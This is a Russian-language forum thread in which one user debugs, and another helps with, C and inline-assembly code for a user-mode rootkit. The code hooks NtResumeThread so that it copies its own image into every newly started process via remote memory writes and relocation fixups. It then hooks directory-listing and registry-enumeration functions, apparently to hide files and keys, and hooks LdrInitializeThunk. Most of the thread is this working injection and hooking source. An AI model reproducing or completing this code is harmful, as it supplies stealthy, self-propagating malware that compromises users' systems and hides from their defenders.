Проблемы с хукингом LdrInitializeThunk в NtResumeThread

Тема в разделе "WASM.WIN32", создана пользователем gribodemon, 25 ноя 2009.

  1. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Доброго времени суток!
    У меня возникли некоторые проблемы хукинга subj'а.
    Вот код хукнутой NtResumeThread:

    Код (Text):
    1. BYTE bufNtResumeThread[64] = {0}; // тут хранится начало оригинальной функции с jump'ом на остаток оригинальной функции
    2. BOOL WINAPI xNtResumeThread(
    3.   IN HANDLE               ThreadHandle,
    4.   OUT PULONG              SuspendCount OPTIONAL
    5. )
    6. {
    7.     THREAD_BASIC_INFORMATION ti;
    8.     NTSTATUS rt = NtQueryInformationThread(ThreadHandle, (THREADINFOCLASS)ThreadBasicInformation, (PVOID)&ti, (ULONG)sizeof(THREAD_BASIC_INFORMATION), NULL);
    9.     if (!NT_SUCCESS(rt)) {
    10. #ifdef DBG
    11.         CHAR rep[1000] = {0};
    12.         sprintf(rep, "NtQueryInformationThread() fails! 0x%x", rt);
    13.         MessageBoxA(NULL, rep, "ERROR", MB_ICONERROR);
    14. #endif
    15.  
    16.         goto L_ERR;
    17.     }
    18.     // если новый поток относится не к нашему процессу, то переносим свой код в новый процесс и хукаем в нём функции
    19.     if (ti.ClientId.UniqueProcess != (HANDLE)GetCurrentProcessId()) {
    20.  
    21.         HANDLE h = (HANDLE)GOpenProcess(PROCESS_ALL_ACCESS, FALSE, ti.ClientId.UniqueProcess);
    22.         if (h) {
    23.             // переносим свой код
    24.             DWORD ImageBaseDelta = TransferProgramEx( h );
    25.             if (ImageBaseDelta < 0)
    26.                 goto L_ERR;
    27.  
    28.             DWORD thID;
    29.             HANDLE hTh = NULL;
    30.  
    31.             // снимаем хук с NtResumeThread, т.к. будем использовать функцию CreateRemoteThread()
    32.             HMODULE hNtdll = GetNtdllBase();
    33.             if (!hNtdll)
    34.                 goto L_ERR;
    35.             LPVOID lpNtResumeThread;
    36.             if (!GetProcedureAddressEx(hNtdll, "NtResumeThread", &lpNtResumeThread))
    37.                 goto L_ERR;
    38.             CHAR szDllPath[MAX_PATH];
    39.             GetSystemDirectoryA(szDllPath, MAX_PATH);
    40.             strcat(szDllPath, "\\ntdll.dll");
    41.             if (!UnSetSplicingHook(szDllPath, lpNtResumeThread, hNtdll))
    42.                 goto L_ERR;
    43.  
    44.             // в функции Inject хукаются такие функции, как: NtQueryDirectoryFile, NtVdmControl, NtResumeThread и LdrLoadDll
    45.             hTh = CreateRemoteThread( h, 0, 0, (LPTHREAD_START_ROUTINE)((PCHAR)Inject + ImageBaseDelta), lpParam, 0, &thID);
    46.             if (hTh != NULL) {
    47.             //  WaitForSingleObject( hTh, INFINITE ); // <<<--- FUCKING BUG HERE!
    48.             }
    49.            
    50.             // в Inject2 хукается LdrInitializeThunk
    51.             hTh = CreateRemoteThread( h, 0, 0, (LPTHREAD_START_ROUTINE)((PCHAR)Inject2 + ImageBaseDelta), NULL, 0, &thID);
    52.             if (hTh != NULL) {
    53.             //  WaitForSingleObject( hTh, INFINITE ); // <<<--- FUCKING BUG HERE!
    54.             }
    55.  
    56.             // Снова ставим хук на NtResumeThread
    57.             if (!SetSplicingHook(lpNtResumeThread, xNtResumeThread, bufNtResumeThread))
    58.                 goto L_ERR;
    59.  
    60.             GCloseHandle(h);
    61.         }
    62.     }
    63.  
    64. L_ERR:
    65.  
    66.     // вызываем оригинальную функцию
    67.     BOOL res;
    68.     LPVOID addr = (LPVOID)bufNtResumeThread;
    69.     __asm {
    70.         mov     eax, SuspendCount
    71.         push    eax
    72.         mov     eax, ThreadHandle
    73.         push    eax
    74.         call    addr
    75.         mov     res, eax
    76.     }
    77.  
    78.     if (!NT_SUCCESS(res))
    79.         return res;
    80.  
    81.     return res;
    82. }
    Если раскомментить WaitForSingleObject и поставить коммента на Inject2, то не будет работать на winxp sp2 & win2k sp3.
    В winxp sp2 при старте диспетчера задач не отрисовывается график использования процессора и сети и в tcmd не отображаются файлы. В win2k sp3, вылетает диспетчер задач и regedit.
    Если поставить коммент на WaitForSingleObject и не выполнять Inject2 (хукинг LdrInitializeThunk), то всё замечательно работает. Если выполнить Inject2 и поставить коммент на LdrInitializeThunk, то ... падают некоторые приложения.

    Есть идеи какие-нибудь? Кто-нибудь сталкивался?
     
  2. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    * Если выполнить Inject2 и поставить коммент на WaitForSingleObject.

    Вообще, я не могу понять почему при комменте WaitForSingleObject и выполнении Inject всё нормально работает. Что за?
     
  3. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Может, попробовать хукнуть какую-нибудь другую функцию из ntdll, которая вызывается после того, как подгружены библиотеки из таблицы импорта? Можете посоветовать что-нибудь?
     
  4. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    gribodemon
    ZwWaitForSingleObject
     
  5. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    в хуке нтдлл = это в мемориз
     
  6. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    М... ?
    А что такого в вызове функций из user32.dll ?
    Я же всё равно вызываю функции не из ntdll.dll. К примеру, CreateRemoteThread из kernel32.dll
     
  7. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    gribodemon
    рано вам еще инжекты писать :)

    CreateRemoteThread - это лишь обертка над функцией ZwCreateThread
    А если быть точным, то функия CreateRemoteThread вызывает:
    1. ZwCreateThread
    2. ZwQueryInformationThread
    3. ZwResumeThread

    Кажется еще что-то там с контекстом мудрится. Спецы расскажут более подробно.



    MessageBoxA - вызывает туеву кучу функций, часть из которых находятся в нтдлл.
     
  8. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Ах да. Еще. ZwQueryInformationThread и NtQueryInformationThread - это эквивалентные функции в юзермоде. Т.е. в вашем случае одно и тоже.
     
  9. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Покажите код, который инжектируете
     
  10. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    И... ?
    Главное, что она не вызывает NtResumeThread, и рекурсии не возникает. =)
     
  11. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Покажите код, который инжектируется.
     
  12. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    dyn
    Да тут проще проект прислать. Более 30 КБ кода.
    А вообще, вот те две функции и хукнутая LdrInitializeThunk:
    Код (Text):
    1. DWORD WINAPI Inject2 (LPVOID lpParameter) {
    2.  
    3.     HMODULE hNtDll = GetNtdllBase();
    4.     if (!hNtDll) {
    5.         return 0;
    6.     }
    7.  
    8.     LPVOID lpLdrInitializeThunk;
    9.     if (!GetProcedureAddressEx(hNtDll, "LdrInitializeThunk", &lpLdrInitializeThunk)) {
    10.         return 0;
    11.     }
    12.  
    13.     if (!SetSplicingHook(lpLdrInitializeThunk, xLdrInitializeThunk, bufLdrInitializeThunk)) {
    14.     }
    15.  
    16.     return 1;
    17. }
    18.  
    19. DWORD WINAPI Inject (LPVOID lpParameter) {
    20.    
    21.     HMODULE hNtDll = GetNtdllBase();
    22.     if (!hNtDll) {
    23.         return 0;
    24.     }
    25.     LPVOID lpNtQueryDirectoryFile;
    26.     if (!GetProcedureAddressEx(hNtDll, "NtQueryDirectoryFile", &lpNtQueryDirectoryFile)) {
    27.         return 0;
    28.     }
    29.     LPVOID lpNtVdmControl;
    30.     if (!GetProcedureAddressEx(hNtDll, "NtVdmControl", &lpNtVdmControl)) {
    31.         return 0;
    32.     }
    33. //  LPVOID lpNtSetInformationFile;
    34. //  if (!GetProcedureAddressEx(hNtDll, "NtSetInformationFile", &lpNtSetInformationFile)) {
    35. //      return 0;
    36. //  }
    37.     LPVOID lpNtEnumerateValueKey;
    38.     if (!GetProcedureAddressEx(hNtDll, "NtEnumerateValueKey", &lpNtEnumerateValueKey)) {
    39.         return 0;
    40.     }
    41.  
    42.     LPVOID lpNtResumeThread;
    43.     if (!GetProcedureAddressEx(hNtDll, "NtResumeThread", &lpNtResumeThread)) {
    44.         return 0;
    45.     }
    46.  
    47.     LPVOID lpLdrLoadDll;
    48.     if (!GetProcedureAddressEx(hNtDll, "LdrLoadDll", &lpLdrLoadDll)) {
    49.         return 0;
    50.     }
    51.  
    52.     if (!SetSplicingHook(lpNtQueryDirectoryFile, xNtQueryDirectoryFile, bufNtQueryDirectoryFile)) {
    53.     }
    54.  
    55.     if (!SetSplicingHook(lpNtVdmControl, xNtVdmControl, bufNtVdmControl)) {
    56.     }
    57.  
    58. //  if (!SetSplicingHook(lpNtSetInformationFile, xNtSetInformationFile, bufNtSetInformationFile)) {
    59. //  }
    60.     if (!SetSplicingHook(lpNtEnumerateValueKey, xNtEnumerateValueKey, bufNtEnumerateValueKey)) {
    61.     }
    62.    
    63.     if (!SetSplicingHook(lpNtResumeThread, xNtResumeThread, bufNtResumeThread)) {
    64.     }
    65.    
    66. //  if (!SetSplicingHook(lpLdrLoadDll, xLdrLoadDll, bufLdrLoadDll)) {
    67. //  }
    68.  
    69.     return 1;
    70. }
    71.  
    72. BYTE bufLdrInitializeThunk[64] = {0};
    73. NTSTATUS NTAPI xLdrInitializeThunk(
    74.                             DWORD Unknown1,
    75.                             DWORD Unknown2,
    76.                             DWORD Unknown3
    77.                             )
    78. {
    79.     NTSTATUS res;
    80.  
    81.     LPVOID addr = (LPVOID)bufLdrInitializeThunk;
    82.     __asm {
    83.         mov     eax, Unknown3
    84.         push    eax
    85.         mov     eax, Unknown2
    86.         push    eax
    87.         mov     eax, Unknown1
    88.         push    eax
    89.         call    addr
    90.         mov     res, eax
    91.     }
    92.  
    93.     return res;
    94. }
     
  13. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Что мне не понравилось:

    1. GetProcedureAddressEx - Функция НЕ экспортируется. Как находится адрес?
    2. "LdrInitializeThunk", &lpLdrInitializeThunk - без дельты использовать глобальные переменные в шеллкоде - зло.

    Теперь вопрос в том, как он туда заливается и проводятся ли настройки.

    Покажи процедуру TransferProgramEx
     
  14. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    gribodemon
    Видите ли, вот этот код
    в конечном виде выглядит вот так:

    "LdrIntializeData" - находится в дата секции
    Вызов функции в код-секции

    Т.е. при переносе кода указатель на строку теряется.
     
  15. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    dyn
    Код (Text):
    1. BOOL GetProcedureAddressEx(IN HMODULE hModule, IN PCHAR ProcedureName, OUT LPVOID * ProcedureAddress)
    2. {
    3.     PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)
    4.         ((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew +
    5.             sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));
    6.  
    7.     PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule,
    8.         poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);  
    9.    
    10.     int nOrdinal;
    11.     if (HIWORD((DWORD)ProcedureName) == 0)
    12.     {
    13.         nOrdinal = (LOWORD((DWORD)ProcedureName)) - ped->Base;
    14.     } else {
    15.         DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames);
    16.         WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals);
    17.  
    18.         unsigned int i;
    19.         for (i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++)
    20.         {
    21.             if ( !strcmp((char*)RVATOVA(hModule, *pdwNamePtr), ProcedureName) )
    22.             {
    23.                 nOrdinal = *pwOrdinalPtr;
    24.                 break;
    25.             }
    26.         }
    27.  
    28.         if (i == ped->NumberOfNames)
    29.             return FALSE;
    30.     }
    31.  
    32.     PDWORD pAddrTable = (PDWORD)RVATOVA(hModule, ped->AddressOfFunctions);
    33.     DWORD dwRVA = pAddrTable[nOrdinal];
    34.     DWORD ret = (DWORD)RVATOVA(hModule, dwRVA);
    35.  
    36.     *ProcedureAddress = (LPVOID)ret;
    37.  
    38.     return TRUE;
    39. }
    Да ничего не зло. У меня таблица релоков и TransferProgramEx:
    Поэтому я вообще не заморачиваюсь на написание шеллкода для инжекта.
    Thnx to Great

    Код (Text):
    1. #include <windows.h>
    2.  
    3. #ifndef RVATOVA
    4. // Get VA
    5. #define RVATOVA( base, offset )(((DWORD)(base) + (DWORD)(offset)))
    6. #endif
    7.  
    8. // Move program's memory
    9. void __CopyMemoryAcrossProcesses( HANDLE hProcess, char* pMemLocal, char* pMemRemote )
    10. {
    11.     DWORD dwOldProt, dwNumBytes, i;
    12.     MEMORY_BASIC_INFORMATION mbi;
    13.      
    14.     VirtualQueryEx(hProcess, pMemRemote, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
    15.     while (mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0)
    16.     {
    17.         if (!(mbi.Protect & PAGE_GUARD))
    18.         {
    19.             for (i = 0; i < mbi.RegionSize; i += 0x1000)
    20.             {
    21.                 VirtualProtectEx(hProcess, pMemRemote + i, 0x1000, PAGE_EXECUTE_READWRITE, &dwOldProt);
    22.                 WriteProcessMemory(hProcess, pMemRemote + i, pMemLocal + i, 0x1000, &dwNumBytes);
    23.             }
    24.         }
    25.         pMemLocal += mbi.RegionSize;
    26.         pMemRemote += mbi.RegionSize;
    27.         VirtualQueryEx(hProcess, pMemRemote, &mbi, sizeof(MEMORY_BASIC_INFORMATION));  
    28.     }
    29. }
    30.  
    31. bool TransferProgram(HANDLE hProcess)
    32. {
    33.     HMODULE g_module = GetModuleHandle(0);
    34.  
    35.     VirtualFreeEx(hProcess, g_module, 0, MEM_RELEASE);
    36.    
    37.     DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(g_module) + ((PIMAGE_DOS_HEADER)(g_module))->e_lfanew +
    38.         sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
    39.  
    40.     char *pMem = (char *)VirtualAllocEx(hProcess, g_module, dwSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    41.     if(pMem == NULL) return FALSE;
    42.  
    43.     __CopyMemoryAcrossProcesses( hProcess, (char*) g_module, pMem );
    44.  
    45.     return true;
    46. }
    47.  
    48. HMODULE gl_hModuleBck = NULL;
    49.  
    50. DWORD TransferProgramEx(HANDLE hProcess)
    51. /*
    52.  Return value: image base delta, -1 on error
    53. */
    54. {
    55.     HMODULE hModule;
    56.     (!gl_hModuleBck) ? hModule = GetModuleHandle(0) : hModule = gl_hModuleBck;
    57.  
    58.     DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(hModule) + ((PIMAGE_DOS_HEADER)(hModule))->e_lfanew +
    59.         sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
    60.  
    61.     MEMORY_BASIC_INFORMATION mbi = {0};
    62.     VirtualQueryEx( hProcess, hModule, &mbi, sizeof(mbi) );
    63.  
    64.     LPVOID Allocated;
    65.  
    66.     // Memory isn't free, relocate
    67.     if( mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0 )
    68.     {
    69. __try_relocate:
    70.         LPVOID DesiredAddress = hModule;
    71.         *(DWORD*)&DesiredAddress += mbi.RegionSize;
    72.  
    73.         for(;;)
    74.         {
    75.             Allocated = VirtualAllocEx( hProcess, DesiredAddress, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    76.             if( Allocated )
    77.                 break;
    78.             *(DWORD*)&DesiredAddress += dwSize;
    79.         }
    80.     }
    81.     else
    82.     {
    83.         Allocated = VirtualAllocEx( hProcess, hModule, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    84.         if( !Allocated )
    85.             goto __try_relocate;
    86.     }
    87.    
    88.     //
    89.     HMODULE hModuleBck = gl_hModuleBck;
    90.     gl_hModuleBck = (HMODULE)Allocated;
    91.  
    92.     // move memory
    93.     __CopyMemoryAcrossProcesses( hProcess, (char*) hModule, (char*) Allocated );
    94.  
    95.     //
    96.     gl_hModuleBck = hModuleBck;
    97.  
    98.     DWORD ImageBaseDelta = (DWORD)Allocated - (DWORD)hModule;
    99.  
    100.     // Nonzero imagebase delta
    101.     if( ImageBaseDelta )
    102.     {
    103.         // Apply fixups
    104.         typedef struct
    105.         {
    106.             WORD    Offset:12;
    107.             WORD    Type:4;
    108.         } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
    109.  
    110.         PIMAGE_OPTIONAL_HEADER poh =
    111.             (PIMAGE_OPTIONAL_HEADER)(
    112.                 (DWORD)hModule
    113.                 + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew
    114.                 + sizeof(IMAGE_NT_SIGNATURE)
    115.                 + sizeof(IMAGE_FILE_HEADER)
    116.             );
    117.  
    118.         // No fixups?
    119.         if( !poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress )
    120.         {
    121.             VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
    122.             VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
    123. #ifdef DBG
    124.             CHAR rep[1000] = {0};
    125.             sprintf(rep, "No fixups?");
    126.             MessageBoxA(NULL, rep, "ERROR", MB_ICONERROR);
    127. #endif
    128.             return -1;
    129.         }
    130.  
    131.         PIMAGE_BASE_RELOCATION Reloc = (PIMAGE_BASE_RELOCATION) RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress, hModule);
    132.         // Process fixups
    133.  
    134.         for (; Reloc->VirtualAddress > 0; )
    135.         {
    136.             PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)( (DWORD)Reloc + sizeof(IMAGE_BASE_RELOCATION) );
    137.             for (DWORD i=0; i<((Reloc->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION)) / 2); i++, Fixup++)
    138.             {
    139.                 switch (Fixup->Type)
    140.                 {
    141.                 case IMAGE_REL_BASED_HIGHLOW:
    142.                     {
    143.                         DWORD* Patch = (DWORD*)RVATOVA( Reloc->VirtualAddress + Fixup->Offset, Allocated );
    144.                         DWORD t, r;
    145.                         BOOL b = 1;
    146.  
    147.                         // correct fixup
    148.                         b &= ReadProcessMemory( hProcess, Patch, &t, 4, &r );
    149.                         t += ImageBaseDelta;
    150.                         b &= WriteProcessMemory( hProcess, Patch, &t, 4, &r );
    151.  
    152.                         if( !b )
    153.                         {
    154.                             // smth wrong
    155.                             VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
    156.                             VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
    157. #ifdef DBG
    158.                             CHAR rep[1000] = {0};
    159.                             sprintf(rep, "correct fixup ... smth wrong");
    160.                             MessageBoxA(NULL, rep, "ERROR", MB_ICONERROR);
    161. #endif
    162.                             return -1;
    163.                         }
    164.                     }
    165.                     break;
    166.  
    167.                 case IMAGE_REL_BASED_ABSOLUTE:
    168.                     break;
    169.  
    170.                 default:
    171.                     // unsupported fixup type
    172.                     VirtualFreeEx( hProcess, Allocated, dwSize, MEM_DECOMMIT );
    173.                     VirtualFreeEx( hProcess, Allocated, dwSize, MEM_RELEASE  );
    174.  
    175. #ifdef DBG
    176.                     CHAR rep[1000] = {0};
    177.                     sprintf(rep, "unsupported fixup type");
    178.                     MessageBoxA(NULL, rep, "ERROR", MB_ICONERROR);
    179. #endif
    180.  
    181.                     return -1;
    182.                     break;
    183.                 }
    184.             }
    185.  
    186.             Reloc = (PIMAGE_BASE_RELOCATION)(((DWORD)Reloc) + Reloc->SizeOfBlock);
    187.         }
    188.  
    189.     }
    190.  
    191.     return ImageBaseDelta;
    192. }
    Видите ли, у меня на Win7 весь код работает замечательно.
    Баг где-то "между строк". =)

    По сабжу:
    Сегодня пробовал хукнуть NtWaitForSingleObject.

    Код (Text):
    1. BYTE bufNtWaitForSingleObject[64] = {0};
    2. NTSTATUS NTAPI xNtWaitForSingleObject(
    3.     IN HANDLE ObjectHandle,
    4.     IN BOOLEAN Alertable,
    5.     IN PLARGE_INTEGER TimeOut OPTIONAL )
    6. {
    7.  
    8.     NTSTATUS res;
    9.  
    10.     LPVOID addr = (LPVOID)bufNtWaitForSingleObject;
    11.     DWORD dwAlertable = (DWORD)Alertable;
    12.     DWORD dwTimeOut = (DWORD)TimeOut;
    13.     __asm {
    14.         mov     eax, dwTimeOut
    15.         push    eax
    16.         mov     eax, dwAlertable
    17.         push    eax
    18.         mov     eax, ObjectHandle
    19.         push    eax
    20.         call    addr
    21.         mov     res, eax
    22.     }
    23.    
    24.     HMODULE hNtdll = GetNtdllBase();
    25.     if (!hNtdll)
    26.         goto L_ERR;
    27.     LPVOID lpNtWaitForSingleObject;
    28.     if (!GetProcedureAddressEx(hNtdll, "NtWaitForSingleObject", &lpNtWaitForSingleObject))
    29.         goto L_ERR;
    30.     CHAR szDllPath[MAX_PATH];
    31.     GetSystemDirectoryA(szDllPath, MAX_PATH);
    32.     strcat(szDllPath, "\\ntdll.dll");
    33.     if (!UnSetSplicingHook(szDllPath, lpNtWaitForSingleObject, hNtdll))
    34.         goto L_ERR;
    35.  
    36.     HMODULE hUser32 = LoadLibraryA("user32.dll");
    37.     if (hUser32) {
    38.         //LPVOID lpMsgBox = GetProcAddress(hUser32, "MessageBoxA");
    39.         //if (lpMsgBox) {
    40.         //  SetSplicingHook(lpMsgBox, xMessageBoxA, bufMessageBoxA);
    41.         //}
    42.         //lpMsgBox = GetProcAddress(hUser32, "MessageBoxW");
    43.         //if (lpMsgBox) {
    44.         //  SetSplicingHook(lpMsgBox, xMessageBoxW, bufMessageBoxW);
    45.         //}
    46.         // ---
    47.         //LPVOID lpTranslateMessage = GetProcAddress(hUser32, "TranslateMessage");
    48.         //if (lpTranslateMessage) {
    49.         //  SetSplicingHook(lpTranslateMessage, xTranslateMessage, bufTranslateMessage);
    50.         //}
    51.     }
    52. L_ERR:
    53.  
    54.     return res;
    55. }
    Всё нормально работает, однако падают приложения, если не закоментить строчку с LoadLibraryA. Пока не знаю в чём трабла.
    Но, радует хотя бы то, что удалось нормально хукнуть NtWaitForSingleObject и приложения не падают.
    P.S.: WaitForSingleObject после создания удалённых потоков не вызывал, ессно. В противном случае - всё падает нахрен. =( Тестирую пока код на win2k sp3.
     
  16. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    Вместо LoadLibraryA хукай LdrLoadDll
     
  17. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    А я разве хукаю LoadLibraryA? Не-а.
    Я её вызываю в хукнутой функции NtWaitForSingleObject. И после этого всё нахрен падает.
     
  18. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Я уже ппц в шоке. Нихрена не понимаю уже.
    С какого-то хрена WaitForSingleObject после создания удалённых потоков начинает бажно работать на некоторых приложения в winxp и win2k.
    Если отказаться от её вызова и после создания удалённых потоков вызывать оригинальную NtResumeThread, то не факт, что код, отвечающий за хуканье функций в процессе нормально выполнится в удалённом потоке. Т.е. очень хочется выполнить все хуки до выполнения первых инструкций процесса - а на практике, при вызове WaitForSingleObject дерьмо какое-то происходит.
     
  19. dyn

    dyn New Member

    Публикаций:
    0
    Регистрация:
    30 окт 2009
    Сообщения:
    566
    gribodemon
    тогда вызывай ее вместо LoadLibraryA ^)
     
  20. gribodemon

    gribodemon New Member

    Публикаций:
    0
    Регистрация:
    17 июн 2009
    Сообщения:
    138
    Не. Проблема не в этом.

    Сделал так (в хукнутой NtWaitForSingleObject):
    Код (Text):
    1. #define DECLARE_CONST_UNICODE_STRING(_var, _string) \
    2. WCHAR _var ## _buffer[] = _string; \
    3. UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer }
    4. ...
    5.     DECLARE_CONST_UNICODE_STRING(ModuleFileName, L"user32.dll");
    6.     HANDLE hUser32;
    7.     NTSTATUS ntstat = (NTSTATUS)XLdrLoadDll(NULL, NULL, &ModuleFileName, &hUser32);
    8.     if (!NT_SUCCESS(ntstat))
    9.         goto L_ERR;
    Ни одно приложение не стартует (сами процессы есть - висят в памяти килобайт по 800).
    Закоментил этот кусок - всё ОК работает.